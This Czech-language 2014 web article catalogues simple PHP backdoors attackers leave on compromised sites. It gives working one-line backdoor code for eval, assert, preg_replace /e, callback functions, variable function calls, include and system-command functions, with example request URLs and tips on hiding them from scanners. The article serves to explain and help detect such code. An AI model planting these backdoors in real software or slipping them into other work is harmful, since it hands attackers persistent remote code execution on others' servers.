Zpět na seznam článků     Číst komentáře (6)     Verze pro tisk

Jednoduché PHP backdoory

Autor: .cCuMiNn.   
5.5.2014

Nezřídka si po úspěšném útoku zanechají útočníci v systému zadní vrátka, kterými se mohou kdykoliv v budoucnu vrátit i v případě, že původní zranitelnost byla již odstraněna. Samotný backdoor přitom může tvořit pouze jedna jediná řádka kódu, jejíž nalezení je často velice obtížné, neřku-li nemožné. Pojďme se tedy na některé z backdoorů používaných v PHP aplikacích podívat blíže.


Samotné backdoory můžeme hrubě rozdělit do dvou skupin. Na ty, které umožňují spouštět funkce a příkazy jazyka PHP a na ty, které spuští příkazy operačního systému.

Backdoory spouštějící PHP kód

V jazyce PHP existuje několik možností, jak programově spustit předaný PHP kód.

eval()

Jazykový konstrukt eval() je tou nejznámější možností, která je pro spouštění PHP kódu dokonce přímo určena. Kód, který se má vykonat, přebírá eval() ve formě řetězce, jako svůj jediný argument.

Díky jednoduchosti, využijeme funkci eval() k uvedení do problemetiky a vysvětlíme si na ní také některé další vychytávky.

Jednoduchý skript, kde eval spouští kód echo "Ahoj";, by mohl vypadat takto:


  1. <?php
  2.   eval('echo "Ahoj";');
  3. ?>


V případě delšího kódu se jednotlivé příkazy oddělují středníkem, viz.:


  1. <?php
  2.   eval('echo "Ahoj "; echo "světe";');
  3. ?>


Uvedené použití funkce eval je pochopitelně stejně hloupé jako otáčet šroubovákem pomocí kleští a tak je dobré si říci, že spouštěný kód je možné evalu předat i v obsahu proměnné, což už dává trochu větší smysl:


  1. <?php
  2.   $kod = 'echo "Ahoj "; echo "světe";';
  3.   eval($kod);
  4. ?>


No a když už tedy umíme spustit kód uložený v proměnné, nic nám nebrání v tom, abychom obdobným způsobem spustili také kód přicházející od uživatele ve formě parametru GET požadavku:

  1. http://www.testpage.xy?kod=echo%20"Ahoj%20";%20echo%20"světe";

  1. <?php
  2.   eval($_GET["kod"]);
  3. ?>


Poznánka: Kód samozřejmě nemusí být předaný pouze GETem, ale i POSTem, nebo třeba v COOKIE.

Na tomto kódu si vysvětlíme ještě jednu zásadní věc. Pokud bychom navštívili stránku s parametrem kod omylem a hodnota této proměnné by nebyla validní, mohla by stránka zobrazit při spuštění kódu chybové hlášení, jež by mohlo vést až k odhalení těchto zadních vrátek. Z tohoto důvodu se v backdoorech často používá ještě zavináče @, který zobrazení chybových zpráv potlačuje.

Ve finále by tedy celý backdoor vypadal takto:


  1. <?php
  2.   @eval($_GET["kod"]);
  3. ?>


No a to je vlastně vše. Jediný řádek @eval($_GET["kod"]); schovaný kdesi v kódu umožňuje útočníkovi, aby kdykoliv v naší aplikaci spustil libovolný příkaz a třeba nám tím celou aplikaci defacenul.

Protože je ovšem funkce eval() natolik známá a její význam naprosto zřejmý, není se čemu divit, že webmasteři často preventivně vyhledávají výskyt tohoto řetězce ve všech svých kódech pomocí automatizovaných nástrojů.

Útočníkům tak nezbývá, než se poohlédnout po jiných možnostech, které nejsou tolik rozšířené a známé, nebo jejichž automatické vyhledání je obtížnější nebo rovnou nemožné.

Dokumentace k eval(): http://www.php.net/manual/en/function.eval.php


assert()

Funkce assert sice slouží přimárně k něčemu jinému, než je spouštění kódu, konkrétně k testování pravdivosti výroků. Každopádně pokud je jí předán řetězec, spustí jej jako PHP kód.


Kód backdooru
  1. <?php
  2.   @assert($_GET["kod"]);
  3. ?>

Příklad použití
  1. http://www.testpage.xy?kod=eval('echo%20"Ahoj%20";%20echo%20"světe";');

Dokumentace k assert(): http://cz2.php.net/manual/en/function.assert.php


preg_replace()

Hůře čitelná a hůře pochopitelná již bude funkce preg_replace(). Ta se snaží najít výskyt řetězce odpovídajího regulárnímu výrazu, který před jeho nahrazením díky modifikátoru /e nejprve provede jako PHP kód.


Kód backdooru
  1. <?php
  2.   preg_replace("/.*/e", $_GET[kod], "");
  3. ?>

Příklad použití
  1. http://www.testpage.xy?kod=eval('echo%20"Ahoj%20";%20echo%20"světe";');

Více o preg_replace: http://interval.cz/clanky/regularni-vyrazy-v-php-pro-zacatecniky-ii/


array_diff_ukey()

Další probíraná funkce bude opět hůře čitelná. Funkce array_diff_ukey() používá zpětného volání uživatelské funkce, která provede vyhodnocení předaných argumentů. Pokud tedy použijeme argumenty na funkci předanou parametrem z URL, můžeme tak opět snadno dosáhnout spuštění kódu.

Nevýhodou je, že funkce musí přijímat více než jeden parametr a nejsou akceptovány jazykové konstrukty.


Kód backdooru
  1. <?php
  2.   @array_diff_ukey(@array((string)$_REQUEST['arg']=>1), @array(''=>2),$_REQUEST['fn']);
  3. ?>

Příklad použití
  1. http://www.testpage.xy?fn=system&arg=ls

Více o tomto backdooru se dočtete například na následujícím blogu: http://blog.sucuri.net/2014/04/php-callback-functions-another-way-to-hide-backdoors.html


Spouštěná funkce jako proměnná

Velice jednoduchý, ale hlavně velmi nenápadný backdoor získáme použitím proměnné k uchování a zavolání konkrétní funkce. V tomto případě stačí, aby jedna proměnná obsahovala název funkce, kterou hodláme zavolat, např. system a druhá proměnná argument, který chceme funkci předat.

Nevýhodou tohoto způsobu pro útočníky je skutečnost, že jej lze využít pouze pro spouštění funkcí (nefunguje pro volání jazykových konstruktů). Na druhou stranu je tento způsob v kódu nejméně nápadný a lze jej různě obfuskovat. Jeho vyhledání pomocí automackých nástrojů je tedy velice složité.


Kód backdooru
  1. <?php
  2.   @$_GET[a]($_GET[b]);
  3. ?>

Příklad použití
  1. http://www.testpage.xy?a=phpinfo&b=1


extract()

Pokud bychom chtěli více zamaskovat vstupy získané z GET požadavku, mohli bychom u předchozího příkladu použít například funkci extract, jak ukazuje následující příklad. Sama o sobě ovšem funkce nezpůsobuje spuštění kódu, pouze útočníkům umožní zbavit se pouřití proměnné $_GET.


Kód backdooru
  1. <?php
  2.   @extract ($_REQUEST);
  3.   @$a($b);
  4. ?>

Příklad použití
  1. http://www.testpage.xy?a=phpinfo&b=1

Dokumentace k funkci extract: http://cz2.php.net/manual/en/function.extract.php


create_function()

PHP kód je možné spustit také s využitím create_function(). Backdoor v tomto případě funguje tak, že se jako tělo funkce použije útočníkův vstup a následně se funkce spustí voláním jejího názvu.


Kód backdooru
  1. <?php
  2.   $fnc = create_function('', $_GET[kod]);
  3.   @$fnc();
  4. ?>

Příklad použití
  1. http://www.testpage.xy?kod=echo%20"Ahoj%20";%20echo%20"světe";


include(), include_once(), require(), require_once()

Rozdíly mezi uvedenými funkcemi budeme v našem případě zanedbávat protože pro nás při povídání o backdoorech nehrají roli. Funkci include, kterou uvedu v kódu tohoto backdooru tedy můžete libovolně zaměnit s kteroukoli jinou z uvedené čtveřice.

Nevýhodou je pro útočníky nutnost zapnuté direktivy allow_url_include, což je na serverch spíše výjimečný jev.


Kód backdooru
  1. <?php
  2.   @include("data:text/plain,".$_GET[kod]);
  3. ?>

Příklad použití
  1. http://www.testpage.xy?kod=<%3fphp echo "Ahoj"; %3f>


Backdoory spouštějící příkazy operačního systému

Druhou skupinou jsou backdoory umožňující spuštění systémových příkazů. Je potřeba si ale uvědomit, že rozdíl od předchozího typu se stírá skutečností, že i pomocí výše uvedených backdoorů, je možné volat níže uvedené funkce spouštějící externí programy.


system(), passthru(), exec(), shell_exec()

Tato čtveřice funkcí je si opět velice podobná a proto i kód backdooru je víceméně shodný s výjimkou názvu volané funkce.


Kód backdooru
  1. <?php
  2.   @system($_GET['kod']);
  3. ?>

Příklad použití
  1. http://www.testpage.xy?kod=ls


Konkrétní význam jednotlivých fukcí je:

  • exec — Spouští externí program a vrácí poslední řádku jeho výstupu
  • passthru — Spouští externí program a zobrazuje raw výstup
  • shell_exec — Spouští externí program skrze shell a vrácí komletní výstup jako řetězec
  • system — Spouští externí program o zobrazuje jeho výstup


"backtick" operátory

Použití zpětných apostrofů není nic jiného, než alias pro shell_exec(). V kódu se ale zpětná lomítka mnohem lépe ztratí, takže jejich použití ze strany útočníků není vůbec od věci.


Kód backdooru
  1. <?php
  2.   echo `$_GET[a]`;
  3. ?>


Vzhledem k tomu, že se jedná o alias funkce shell_exec(), je možné backtick operátory zablokovat zakázáním této funkce.

Více v dokumentaci: http://www.php.net/manual/en/language.operators.execution.php


Další potenciálně nebezpečné funkce

Existuje ještě mnoho dalších potenciálně nebezpečných funkcí, které mohou způsobit spuštění kódu, nebo zobrazení obsahu lokálních souborů. Jako doporučené čtení proto doporučuji například tuto diskuzi, kde se stejnému tématu rovněž věnují a kde je uveden například výčet funkcí umožňující zpětné volání.

Poznámka: Mnoho z uvedených funkcí může být na straně serveru zakázáno, takže nespoléhejte na to, že všechny zde uvedené postupy budou vždy spolehlivě funkční. Které funkce jsou zakázány zjistíte prozkoumáním výstupu funkce phpinfo().


Líbil se Vám článek?
Budeme potěšeni, pokud vás zaujme také reklamní nabídka

Social Bookmarking

     





Hodnocení/Hlasovalo: 1.48/23

1  2  3  4  5    
(známkování jako ve škole)